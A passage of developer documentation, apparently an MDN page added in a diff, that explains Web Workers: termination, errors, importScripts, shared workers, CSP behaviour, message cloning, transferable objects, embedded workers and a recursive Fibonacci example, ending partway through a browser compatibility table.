+<h3 id="Terminating_a_worker">Terminating a worker</h3>
+
+<p>If you need to immediately terminate a running worker from the main thread, you can do so by calling the worker's {{domxref("Worker", "terminate")}} method:</p>
+
+<pre class="brush: js"><code>myWorker.terminate();</code></pre>
+
+<p>The worker thread is killed immediately without an opportunity to complete its operations or clean up after itself.</p>
+
+<p>In the worker thread, workers may close themselves by calling their own {{domxref("WorkerGlobalScope", "close")}} method:</p>
+
+<pre class="brush: js"><code>close();</code></pre>
+
+<h3 id="Handling_errors">Handling errors</h3>
+
+<p>When a runtime error occurs in the worker, its <code>onerror</code> event handler is called. It receives an event named <code>error</code> which implements the <code>ErrorEvent</code> interface.</p>
+
+<p>The event doesn't bubble and is cancelable; to prevent the default action from taking place, the worker can call the error event's <a href="https://developer.mozilla.org/en-US/docs/Web/API/Event/preventDefault"><code>preventDefault()</code> </a>method.</p>
+
+<p>The error event has the following three fields that are of interest:</p>
+
+<dl>
+ <dt><code>message</code></dt>
+ <dd>A human-readable error message.</dd>
+ <dt><code>filename</code></dt>
+ <dd>The name of the script file in which the error occurred.</dd>
+ <dt><code>lineno</code></dt>
+ <dd>The line number of the script file on which the error occurred.</dd>
+</dl>
+
+<h3 id="Spawning_subworkers">Spawning subworkers</h3>
+
+<p>Workers may spawn more workers if they wish. So-called sub-workers must be hosted within the same origin as the parent page. Also, the URIs for subworkers are resolved relative to the parent worker's location rather than that of the owning page. This makes it easier for workers to keep track of where their dependencies are.</p>
+
+<h3 id="Importing_scripts_and_libraries">Importing scripts and libraries</h3>
+
+<p>Worker threads have access to a global function, <code>importScripts()</code>, which lets them import scripts. It accepts zero or more URIs as parameters to resources to import; all of the following examples are valid:</p>
+
+<pre class="brush: js">importScripts();                         /* imports nothing */
+importScripts('foo.js');                 /* imports just "foo.js" */
+importScripts('foo.js', 'bar.js');       /* imports two scripts */
+importScripts('//example.com/hello.js'); /* You can import scripts from other origins */</pre>
+
+<p>The browser loads each listed script and executes it. Any global objects from each script may then be used by the worker. If the script can't be loaded, <code>NETWORK_ERROR</code> is thrown, and subsequent code will not be executed. Previously executed code (including code deferred using {{domxref("window.setTimeout()")}}) will still be functional though. Function declarations <strong>after</strong> the <code>importScripts()</code>method are also kept, since these are always evaluated before the rest of the code.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Scripts may be downloaded in any order, but will be executed in the order in which you pass the filenames into <code>importScripts()</code> . This is done synchronously; <code>importScripts()</code> does not return until all the scripts have been loaded and executed.</p>
+</div>
+
+<h2 id="Shared_workers">Shared workers</h2>
+
+<p>A shared worker is accessible by multiple scripts — even if they are being accessed by different windows, iframes or even workers. In this section we'll discuss the JavaScript found in our <a href="https://github.com/mdn/simple-shared-worker">Basic shared worker example</a> (<a href="https://mdn.github.io/simple-shared-worker/">run shared worker</a>): This is very similar to the basic dedicated worker example, except that it has two functions available handled by different script files: <em>multiplying two numbers</em>, or <em>squaring a number</em>. Both scripts use the same worker to do the actual calculation required.</p>
+
+<p>Here we'll concentrate on the differences between dedicated and shared workers. Note that in this example we have two HTML pages, each with JavaScript applied that uses the same single worker file.</p>
+
+<div class="note">
+<p><strong>Note</strong>: If SharedWorker can be accessed from several browsing contexts, all those browsing contexts must share the exact same origin (same protocol, host, and port).</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: In Firefox, shared workers cannot be shared between documents loaded in private and non-private windows ({{bug(1177621)}}).</p>
+</div>
+
+<h3 id="Spawning_a_shared_worker">Spawning a shared worker</h3>
+
+<p>Spawning a new worker is pretty much the same as with a dedicated worker, but with a different constructor name (see <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/index.html">index.html</a> and <a href="https://mdn.github.io/simple-shared-worker/index2.html">index2.html</a>) — each one has to spin up the worker using code like the following:</p>
+
+<pre class="brush: js">var myWorker = new SharedWorker("worker.js");</pre>
+
+<p>One big difference is that with a shared worker you have to communicate via a <code>port</code> object — an explicit port is opened that the scripts can use to communicate with the worker (this is done implicitly in the case of dedicated workers).</p>
+
+<p>The port connection needs to be started either implicitly by use of the <code>onmessage </code>event handler or explicitly with the <code>start()</code>method before any messages can be posted. Although the <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/multiply.js">multiply.js</a> and <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/worker.js">worker.js</a> files in the demo currently call the <code>start()</code>method, those calls are not necessary since the <code>onmessage</code> event handler is being used. Calling <code>start()</code> is only needed if the <code>message</code> event is wired up via the <code>addEventListener()</code> method.</p>
+
+<p>When using the <code>start()</code> method to open the port connection, it needs to be called from both the parent thread and the worker thread if two-way communication is needed.</p>
+
+<pre class="brush: js">myWorker.port.start();  // called in parent thread</pre>
+
+<pre class="brush: js">port.start(); // called in worker thread, assuming the <code>port</code> variable references a port</pre>
+
+<h3 id="Sending_messages_to_and_from_a_shared_worker">Sending messages to and from a shared worker</h3>
+
+<p>Now messages can be sent to the worker as before, but the <code>postMessage()</code> method has to be invoked through the port object (again, you'll see similar constructs in both <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/multiply.js">multiply.js</a> and <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/square.js">square.js</a>):</p>
+
+<pre class="brush: js">squareNumber.onchange = function() {
+  myWorker.port.postMessage([squareNumber.value,squareNumber.value]);
+  console.log('Message posted to worker');
+}</pre>
+
+<p>Now, on to the worker. There is a bit more complexity here as well (<a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/worker.js">worker.js</a>):</p>
+
+<pre class="brush: js">onconnect = function(e) {
+  var port = e.ports[0];
+
+  port.onmessage = function(e) {
+    var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
+    port.postMessage(workerResult);
+  }
+}</pre>
+
+<p>First, we use an <code>onconnect</code> handler to fire code when a connection to the port happens (i.e. when the <code>onmessage</code> event handler in the parent thread is setup, or when the <code>start()</code> method is explicitly called in the parent thread).</p>
+
+<p>We use the <code>ports</code> attribute of this event object to grab the port and store it in a variable.</p>
+
+<p>Next, we add a <code>message</code> handler on the port to do the calculation and return the result to the main thread. Setting up this <code>message</code>handler in the worker thread also implicitly opens the port connection back to the parent thread, so the call to <code>port.start()</code> is not actually needed, as noted above.</p>
+
+<p>Finally, back in the main script, we deal with the message (again, you'll see similar constructs in both <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/multiply.js">multiply.js</a> and <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/square.js">square.js</a>):</p>
+
+<pre class="brush: js">myWorker.port.onmessage = function(e) {
+  result2.textContent = e.data;
+  console.log('Message received from worker');
+}</pre>
+
+<p>When a message comes back through the port from the worker, we check what result type it is, then insert the calculation result inside the appropriate result paragraph.</p>
+
+<h2 id="About_thread_safety">About thread safety</h2>
+
+<p>The {{domxref("Worker")}} interface spawns real OS-level threads, and mindful programmers may be concerned that concurrency can cause “interesting” effects in your code if you aren't careful.</p>
+
+<p>However, since web workers have carefully controlled communication points with other threads, it's actually very hard to cause concurrency problems. There's no access to non-threadsafe components or the DOM. And you have to pass specific data in and out of a thread through serialized objects. So you have to work really hard to cause problems in your code.</p>
+
+<h2 id="Content_security_policy">Content security policy</h2>
+
+<p>Workers are considered to have their own execution context, distinct from the document that created them. For this reasons they are, in general, not governed by the <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">content security policy</a> of the document (or parent worker) that created them. So for example, suppose a document is served with the following header:</p>
+
+<pre><code>Content-Security-Policy: script-src 'self'</code></pre>
+
+<p>Among other things, this will prevent any scripts it includes from using <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval">eval()</a></code>. However, if the script constructs a worker, code running in the worker's context <em>will</em> be allowed to use <code>eval()</code>.<br>
+ <br>
+ To specify a content security policy for the worker, set a <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy">Content-Security-Policy</a> response header for the request which delivered the worker script itself.<br>
+ <br>
+ The exception to this is if the worker script's origin is a globally unique identifier (for example, if its URL has a scheme of data or blob). In this case, the worker does inherit the CSP of the document or worker than created it.</p>
+
+<h2 id="Transferring_data_to_and_from_workers_further_details">Transferring data to and from workers: further details</h2>
+
+<p>Data passed between the main page and workers is <strong>copied</strong>, not shared. Objects are serialized as they're handed to the worker, and subsequently, de-serialized on the other end. The page and worker <strong>do not share the same instance</strong>, so the end result is that <strong>a duplicate</strong> is created on each end. Most browsers implement this feature as <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/The_structured_clone_algorithm">structured cloning</a>.</p>
+
+<p>To illustrate this, let's create for didactical purpose a function named <code>emulateMessage()</code>, which will simulate the behavior of a value that is <em>cloned and not shared</em> during the passage from a <code>worker</code> to the main page or vice versa:</p>
+
+<pre class="brush: js">function emulateMessage (vVal) {
+    return eval("(" + JSON.stringify(vVal) + ")");
+}
+
+// Tests
+
+// test #1
+var example1 = new Number(3);
+console.log(typeof example1); // object
+console.log(typeof emulateMessage(example1)); // number
+
+// test #2
+var example2 = true;
+console.log(typeof example2); // boolean
+console.log(typeof emulateMessage(example2)); // boolean
+
+// test #3
+var example3 = new String("Hello World");
+console.log(typeof example3); // object
+console.log(typeof emulateMessage(example3)); // string
+
+// test #4
+var example4 = {
+    "name": "John Smith",
+    "age": 43
+};
+console.log(typeof example4); // object
+console.log(typeof emulateMessage(example4)); // object
+
+// test #5
+function Animal (sType, nAge) {
+    this.type = sType;
+    this.age = nAge;
+}
+var example5 = new Animal("Cat", 3);
+alert(example5.constructor); // Animal
+alert(emulateMessage(example5).constructor); // Object</pre>
+
+<p>A value that is cloned and not shared is called <em>message</em>. As you will probably know by now, <em>messages</em> can be sent to and from the main thread by using <code>postMessage()</code>, and the <code>message</code> event's {{domxref("MessageEvent.data", "data")}} attribute contains data passed back from the worker.</p>
+
+<p><strong>example.html</strong>: (the main page):</p>
+
+<pre class="brush: js">var myWorker = new Worker("my_task.js");
+
+myWorker.onmessage = function (oEvent) {
+  console.log("Worker said : " + oEvent.data);
+};
+
+myWorker.postMessage("ali");</pre>
+
+<p><strong>my_task.js</strong> (the worker):</p>
+
+<pre class="brush: js">postMessage("I\'m working before postMessage(\'ali\').");
+
+onmessage = function (oEvent) {
+  postMessage("Hi " + oEvent.data);
+};</pre>
+
+<p>The <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/The_structured_clone_algorithm">structured cloning</a> algorithm can accept JSON and a few things that JSON can't — like circular references.</p>
+
+<h3 id="Passing_data_examples">Passing data examples</h3>
+
+<h4 id="Example_1_Create_a_generic_asynchronous_eval">Example #1: Create a generic "asynchronous <code>eval()</code>"</h4>
+
+<p>The following example shows how to use a worker in order to <strong>asynchronously</strong> execute any JavaScript code allowed in a worker, through <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval"><code>eval()</code></a> within the worker:</p>
+
+<pre class="brush: js">// Syntax: asyncEval(code[, listener])
+
+var asyncEval = (function () {
+  var aListeners = [], oParser = new Worker("data:text/javascript;charset=US-ASCII,onmessage%20%3D%20function%20%28oEvent%29%20%7B%0A%09postMessage%28%7B%0A%09%09%22id%22%3A%20oEvent.data.id%2C%0A%09%09%22evaluated%22%3A%20eval%28oEvent.data.code%29%0A%09%7D%29%3B%0A%7D");
+
+  oParser.onmessage = function (oEvent) {
+    if (aListeners[oEvent.data.id]) { aListeners[oEvent.data.id](oEvent.data.evaluated); }
+    delete aListeners[oEvent.data.id];
+  };
+
+  return function (sCode, fListener) {
+    aListeners.push(fListener || null);
+    oParser.postMessage({
+      "id": aListeners.length - 1,
+      "code": sCode
+    });
+  };
+})();</pre>
+
+<p>The <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/data_URIs">data URL</a> is equivalent to a network request, with the following response:</p>
+
+<pre class="brush: js"><code>onmessage = function (oEvent) {
+  postMessage({
+    "id": oEvent.data.id,
+    "evaluated": eval(oEvent.data.code)
+  });
+}</code></pre>
+
+<p>Sample usage:</p>
+
+<pre class="brush: js">// asynchronous alert message...
+asyncEval("3 + 2", function (sMessage) {
+    alert("3 + 2 = " + sMessage);
+});
+
+// asynchronous print message...
+asyncEval("\"Hello World!!!\"", function (sHTML) {
+    document.body.appendChild(document.createTextNode(sHTML));
+});
+
+// asynchronous void...
+asyncEval("(function () {\n\tvar oReq = new XMLHttpRequest();\n\toReq.open(\"get\", \"http://www.mozilla.org/\", false);\n\toReq.send(null);\n\treturn oReq.responseText;\n})()");</pre>
+
+<h4 id="Example_2_Advanced_passing_JSON_Data_and_creating_a_switching_system">Example #2: Advanced passing JSON Data and creating a switching system</h4>
+
+<p>If you have to pass some complex data and have to call many different functions both on the main page and in the Worker, you can create a system which groups everything together.</p>
+
+<p>First, we create a QueryableWorker class that takes the <font face="Consolas, Liberation Mono, Courier, monospace">url</font> of the worker, a default listener, and an error handler, and this class is gonna keep track of a list of listeners and help us communicate wirh the worker:</p>
+
+<pre class="brush: js">function QueryableWorker(url, defaultListener, onError){
+    var instance = this,
+        worker = new Worker(url),
+        listeners = {};
+
+    this.defaultListener = defaultListener || function(){};
+
+    if (onError) {worker.onerror = onError;}
+
+    this.postMessage = function(message){
+        worker.postMessage(message);
+    }
+
+    this.terminate = function(){
+        worker.terminate();
+    }
+}</pre>
+
+<p>Then we add the methods of adding/removing listeners:</p>
+
+<pre class="brush: js">this.addListeners = function(name, listener){
+    listeners[name] = listener;
+}
+
+this.removeListeners = function(name){
+    delete listeners[name];
+}</pre>
+
+<p>Here we let the worker handle two simple operations for illuatration: getting the difference of two numbers and making an alert after three seconds. In order to acheieve that we first implement a sendQuery method which queries if the worker actually has the corresponding methods to do what we want.</p>
+
+<pre class="brush: js">/*
+  This functions takes at least one argument, the method name we want to query.
+  Then we can pass in the arguments that the method needs.
+ */
+this.sendQuery = function(){
+    if (arguments.length &lt; 1){
+         throw new TypeError("QueryableWorker.sendQuery takes at least one argument");
+         return;
+    }
+    worker.postMessage({
+        "queryMethod": arguments[0],
+        "queryArguments": Array.prototype.slice.call(arguments, 1)
+    });
+}</pre>
+
+<p>We finish QueryableWorker with the <code>onmessage</code> method. If the worker has the corresponding methods we queried, it should return the name of the corresponding listener and the arguments it needs, we just need to find it in <code>listeners</code>.:</p>
+
+<pre class="brush: js">worker.onmessage = function(event){
+    if (event.data instanceof Object &amp;&amp;
+        event.data.hasOwnProperty("queryMethodListener") &amp;&amp;
+        event.data.hasOwnProperty("queryMethodArguments")){
+        listeners[event.data.queryMethodListener].apply(instance, event.data.queryMethodArguments);
+    } else {
+        this.defaultListener.call(instance, event.data);
+    }
+}</pre>
+
+<p>Now onto the worker.  First we need to have the methods to handle the two simple operations:</p>
+
+<pre class="brush: js">var queryableFunctions = {
+    getDifference: function(a, b){
+        reply("printStuff", a - b);
+    },
+    waitSomeTime: function(){
+        setTimeout(function(){
+            reply("doAlert", 3, "seconds");
+        }, 3000);
+    }
+}
+
+function reply(){
+    if (arguments.length &lt; 1) {
+        throw new TypeError("reply - takes at least one argument");
+        return;
+    }
+    postMessage({
+        queryMethodListener: arguments[0],
+        queryMethodArguments: Array.prototype.slice.call(arguments, 1)
+    });
+}
+
+/* This method is called when main page calls QueryWorker's postMessage method directly*/
+function defaultReply(message){
+    // do something
+}</pre>
+
+<p>And the <code>onmessage</code> method is now trivial:</p>
+
+<pre class="brush: js">onmessage = function(event){
+    if (event.data instanceof Object &amp;&amp;
+        event.data.hasOwnProperty("queryMethod") &amp;&amp;
+        event.data.hasOwnProperty("queryMethodArguments")){
+        queryableFunctions[event.data.queryMethod]
+            .apply(self, event.data.queryMethodArguments);
+    } else {
+        defaultReply(event.data);
+    }
+}</pre>
+
+<p>Here are the full implementation:</p>
+
+<p><strong>example.html</strong> (the main page):</p>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+  &lt;html&gt;
+    &lt;head&gt;
+      &lt;meta charset="UTF-8"  /&gt;
+      &lt;title&gt;MDN Example - Queryable worker&lt;/title&gt;
+    &lt;script type="text/javascript"&gt;
+    /*
+      QueryableWorker instances methods:
+        * sendQuery(queryable function name, argument to pass 1, argument to pass 2, etc. etc): calls a Worker's queryable function
+        * postMessage(string or JSON Data): see Worker.prototype.postMessage()
+        * terminate(): terminates the Worker
+        * addListener(name, function): adds a listener
+        * removeListener(name): removes a listener
+      QueryableWorker instances properties:
+        * defaultListener: the default listener executed only when the Worker calls the postMessage() function directly
+     */
+    function QueryableWorker(url, defaultListener, onError){
+      var instance = this,
+      worker = new Worker(url),
+      listeners = {};
+
+      this.defaultListener = defaultListener || function(){};
+
+      if (onError) {worker.onerror = onError;}
+
+      this.postMessage = function(message){
+        worker.postMessage(message);
+      }
+
+      this.terminate = function(){
+        worker.terminate();
+      }
+
+      this.addListeners = function(name, listener){
+        listeners[name] = listener;
+      }
+
+      this.removeListeners = function(name){
+        delete listeners[name];
+      }
+
+      worker.onmessage = function(event){
+        if (event.data instanceof Object &amp;&amp;
+          event.data.hasOwnProperty("queryMethodListener") &amp;&amp;
+          event.data.hasOwnProperty("queryMethodArguments")){
+          listeners[event.data.queryMethodListener].apply(instance, event.data.queryMethodArguments);
+        } else {
+          this.defaultListener.call(instance, event.data);
+        }
+      }
+    }
+
+    // your custom "queryable" worker
+    var myTask = new QueryableWorker("my_task.js");
+
+    // your custom "listeners"
+    myTask.addListener("printStuff", function (result) {
+      document.getElementById("firstLink").parentNode.appendChild(document.createTextNode(" The difference is " + result + "!"));
+    });
+
+    myTask.addListener("doAlert", function (time, unit) {
+      alert("Worker waited for " + time + " " + unit + " :-)");
+    });
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;ul&gt;
+    &lt;li&gt;&lt;a id="firstLink" href="javascript:myTask.sendQuery('getDifference', 5, 3);"&gt;What is the difference between 5 and 3?&lt;/a&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;a href="javascript:myTask.sendQuery('waitSomeTime');"&gt;Wait 3 seconds&lt;/a&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;a href="javascript:myTask.terminate();"&gt;terminate() the Worker&lt;/a&gt;&lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p><strong>my_task.js</strong> (the worker):</p>
+
+<pre class="brush: js">var queryableFunctions = {
+  // example #1: get the difference between two numbers:
+  getDifference: function (nMinuend, nSubtrahend) {
+      reply("printSomething", nMinuend - nSubtrahend);
+  },
+  // example #2: wait three seconds
+  waitSomeTime: function () {
+      setTimeout(function() { reply("doAlert", 3, "seconds"); }, 3000);
+  }
+};
+
+// system functions
+
+function defaultReply (message) {
+  // your default PUBLIC function executed only when main page calls the queryableWorker.postMessage() method directly
+  // do something
+}
+
+function reply () {
+  if (arguments.length &lt; 1) { throw new TypeError("reply - not enough arguments"); return; }
+  postMessage({ "queryMethodListener": arguments[0], "queryMethodArguments": Array.prototype.slice.call(arguments, 1) });
+}
+
+onmessage = function (oEvent) {
+  if (oEvent.data instanceof Object &amp;&amp; oEvent.data.hasOwnProperty("queryMethod") &amp;&amp; oEvent.data.hasOwnProperty("queryMethodArguments")) {
+    queryableFunctions[oEvent.data.queryMethod].apply(self, oEvent.data.queryMethodArguments);
+  } else {
+    defaultReply(oEvent.data);
+  }
+};</pre>
+
+<p>It is possible to switch the content of each mainpage -&gt; worker and worker -&gt; mainpage message. And the property names "queryMethod", "queryMethodListeners", "queryMethodArguments" can be anything as long as they are consistent in <code>QueryableWorker</code> and the <code>worker</code>.</p>
+
+<h3 id="Passing_data_by_transferring_ownership_transferable_objects">Passing data by transferring ownership (transferable objects)</h3>
+
+<p>Google Chrome 17+ and Firefox 18+ contain an additional way to pass certain types of objects (transferable objects, that is objects implementing the {{domxref("Transferable")}} interface) to or from a worker with high performance. Transferable objects are transferred from one context to another with a zero-copy operation, which results in a vast performance improvement when sending large data sets. Think of it as pass-by-reference if you're from the C/C++ world. However, unlike pass-by-reference, the 'version' from the calling context is no longer available once transferred. Its ownership is transferred to the new context. For example, when transferring an {{domxref("ArrayBuffer")}} from your main app to a worker script, the original {{domxref("ArrayBuffer")}} is cleared and no longer usable. Its content is (quite literally) transferred to the worker context.</p>
+
+<pre class="brush: js">// Create a 32MB "file" and fill it.
+var uInt8Array = new Uint8Array(1024*1024*32); // 32MB
+for (var i = 0; i &lt; uInt8Array.length; ++i) {
+  uInt8Array[i] = i;
+}
+
+worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]);</pre>
+
+<div class="note">
+<p><strong>Note</strong>: For more information on transferable objects, performance, and feature-detection for this method, read <a href="http://updates.html5rocks.com/2011/12/Transferable-Objects-Lightning-Fast">Transferable Objects: Lightning Fast!</a> on HTML5 Rocks.</p>
+</div>
+
+<h2 id="Embedded_workers">Embedded workers</h2>
+
+<p>There is not an "official" way to embed the code of a worker within a web page, like {{HTMLElement("script")}} elements do for normal scripts. But a {{HTMLElement("script")}} element that does not have a <code>src</code> attribute and has a <code>type</code> attribute that does not identify an executable MIME type can be considered a data block element that JavaScript could use. "Data blocks" is a more general feature of HTML5 that can carry almost any textual data. So, a worker could be embedded in this way:</p>
+
+<pre class="brush: js">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8" /&gt;
+&lt;title&gt;MDN Example - Embedded worker&lt;/title&gt;
+&lt;script type="text/js-worker"&gt;
+  // This script WON'T be parsed by JS engines because its MIME type is text/js-worker.
+  var myVar = "Hello World!";
+  // Rest of your worker code goes here.
+&lt;/script&gt;
+&lt;script type="text/javascript"&gt;
+  // This script WILL be parsed by JS engines because its MIME type is text/javascript.
+  function pageLog (sMsg) {
+    // Use a fragment: browser will only render/reflow once.
+    var oFragm = document.createDocumentFragment();
+    oFragm.appendChild(document.createTextNode(sMsg));
+    oFragm.appendChild(document.createElement("br"));
+    document.querySelector("#logDisplay").appendChild(oFragm);
+  }
+&lt;/script&gt;
+&lt;script type="text/js-worker"&gt;
+  // This script WON'T be parsed by JS engines because its MIME type is text/js-worker.
+  onmessage = function (oEvent) {
+    postMessage(myVar);
+  };
+  // Rest of your worker code goes here.
+&lt;/script&gt;
+&lt;script type="text/javascript"&gt;
+  // This script WILL be parsed by JS engines because its MIME type is text/javascript.
+
+  // In the past...:
+  // blob builder existed
+  // ...but now we use Blob...:
+  var blob = new Blob(Array.prototype.map.call(document.querySelectorAll("script[type=\"text\/js-worker\"]"), function (oScript) { return oScript.textContent; }),{type: "text/javascript"});
+
+  // Creating a new document.worker property containing all our "text/js-worker" scripts.
+  document.worker = new Worker(window.URL.createObjectURL(blob));
+
+  document.worker.onmessage = function (oEvent) {
+    pageLog("Received: " + oEvent.data);
+  };
+
+  // Start the worker.
+  window.onload = function() { document.worker.postMessage(""); };
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;&lt;div id="logDisplay"&gt;&lt;/div&gt;&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>The embedded worker is now nested into a new custom <code>document.worker</code> property.</p>
+
+<p>It is also worth noting that you can also convert a function into a Blob, then generate an object URL from that blob. For example:</p>
+
+<pre class="brush: js">function fn2workerURL(fn) {
+  var blob = new Blob(['('+fn.toString()+')()'], {type: 'application/javascript'})
+  return URL.createObjectURL(blob)
+}</pre>
+
+<h2 id="Further_examples">Further examples</h2>
+
+<p>This section provides further examples of how to use web workers.</p>
+
+<h3 id="Performing_computations_in_the_background">Performing computations in the background</h3>
+
+<p>Workers are mainly useful for allowing your code to perform processor-intensive calculations without blocking the user interface thread. In this example, a worker is used to calculate Fibonacci numbers.</p>
+
+<h4 id="The_JavaScript_code">The JavaScript code</h4>
+
+<p>The following JavaScript code is stored in the "fibonacci.js" file referenced by the HTML in the next section.</p>
+
+<pre class="brush: js">var results = [];
+
+function resultReceiver(event) {
+  results.push(parseInt(event.data));
+  if (results.length == 2) {
+    postMessage(results[0] + results[1]);
+  }
+}
+
+function errorReceiver(event) {
+  throw event.data;
+}
+
+onmessage = function(event) {
+  var n = parseInt(event.data);
+
+  if (n == 0 || n == 1) {
+    postMessage(n);
+    return;
+  }
+
+  for (var i = 1; i &lt;= 2; i++) {
+    var worker = new Worker("fibonacci.js");
+    worker.onmessage = resultReceiver;
+    worker.onerror = errorReceiver;
+    worker.postMessage(n - i);
+  }
+ };</pre>
+
+<p>The worker sets the property <code>onmessage</code> to a function which will receive messages sent when the worker object's <code>postMessage()</code> is called (note that this differs from defining a global <em>variable</em> of that name, or defining a <em>function</em> with that name. <code>var onmessage</code> and <code>function onmessage</code> will define global properties with those names, but they will not register the function to receive messages sent by the web page that created the worker). This starts the recursion, spawning new copies of itself to handle each iteration of the calculation.</p>
+
+<h4 id="The_HTML_code">The HTML code</h4>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="UTF-8"  /&gt;
+    &lt;title&gt;Test threads fibonacci&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+
+  &lt;div id="result"&gt;&lt;/div&gt;
+
+  &lt;script language="javascript"&gt;
+
+    var worker = new Worker("fibonacci.js");
+
+    worker.onmessage = function(event) {
+      document.getElementById("result").textContent = event.data;
+      dump("Got: " + event.data + "\n");
+    };
+
+    worker.onerror = function(error) {
+      dump("Worker error: " + error.message + "\n");
+      throw error;
+    };
+
+    worker.postMessage("5");
+
+  &lt;/script&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>The web page creates a <code>div</code> element with the ID <code>result</code> , which gets used to display the result, then spawns the worker. After spawning the worker, the <code>onmessage</code> handler is configured to display the results by setting the contents of the <code>div</code> element, and the <code>onerror</code> handler is set to <a href="https://developer.mozilla.org/en-US/docs/Debugging_JavaScript#dump.28.29">dump</a> the error message.</p>
+
+<p>Finally, a message is sent to the worker to start it.</p>
+
+<p><a href="https://developer.mozilla.org/samples/workers/fibonacci">Try this example</a>.</p>
+
+<h3 id="Performing_web_IO_in_the_background">Performing web I/O in the background</h3>
+
+<p>You can find an example of this in the article <a href="https://developer.mozilla.org/en-US/docs/Using_workers_in_extensions">Using workers in extensions</a> .</p>
+
+<h3 id="Dividing_tasks_among_multiple_workers">Dividing tasks among multiple workers</h3>
+
+<p>As multi-core computers become increasingly common, it's often useful to divide computationally complex tasks among multiple workers, which may then perform those tasks on multiple-processor cores.</p>
+
+<h2 id="Other_types_of_worker">Other types of worker</h2>
+
+<p>In addition to dedicated and shared web workers, there are other types of worker available:</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API">ServiceWorkers</a> essentially act as proxy servers that sit between web applications, and the browser and network (when available). They are intended to (amongst other things) enable the creation of effective offline experiences, intercepting network requests and taking appropriate action based on whether the network is available and updated assets reside on the server. They will also allow access to push notifications and background sync APIs.</li>
+ <li>Chrome Workers are a Firefox-only type of worker that you can use if you are developing add-ons and want to use workers in extensions and have access to <a href="https://developer.mozilla.org/en/js-ctypes">js-ctypes</a> in your worker. See {{domxref("ChromeWorker")}} for more details.</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API#Audio_Workers">Audio Workers</a> provide the ability for direct scripted audio processing to be done in a web worker context.</li>
+</ul>
+
+<h2 id="Functions_and_interfaces_available_in_workers">Functions and interfaces available in workers</h2>
+
+<p>You can use most standard JavaScript features inside a web worker, including:</p>
+
+<ul>
+ <li>{{domxref("Navigator")}}</li>
+ <li>{{domxref("XMLHttpRequest")}}</li>
+ <li>{{jsxref("Global_Objects/Array", "Array")}}, {{jsxref("Global_Objects/Date", "Date")}}, {{jsxref("Global_Objects/Math", "Math")}}, and {{jsxref("Global_Objects/String", "String")}}</li>
+ <li>{{domxref("Window.requestAnimationFrame")}}, {{domxref("WindowTimers.setTimeout")}}, and {{domxref("WindowTimers.setInterval")}}</li>
+</ul>
+
+<p>The main thing you <em>can't</em> do in a Worker is directly affect the parent page. This includes manipulating the DOM and using that page's objects. You have to do it indirectly, by sending a message back to the main script via {{domxref("DedicatedWorkerGlobalScope.postMessage")}}, then actioning the changes from there.</p>
+
+<div class="note">
+<p><strong>Note</strong>: For a complete list of functions available to workers, see <a href="https://developer.mozilla.org/en-US/docs/Web/Reference/Functions_and_classes_available_to_workers">Functions and interfaces available to workers</a>.</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#toc-workers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("Web Workers")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Workers')}}</td>
+   <td>{{Spec2('Web Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>10.0</td>
+   <td>10.6<sup>[1]</sup></td>
+   <td>4<sup>[2]</sup></td>
+  </tr>
+  <tr>
+   <td>Shared workers</td>
+   <td>4<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop(29)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10.6</td>
+   <td>5<br>
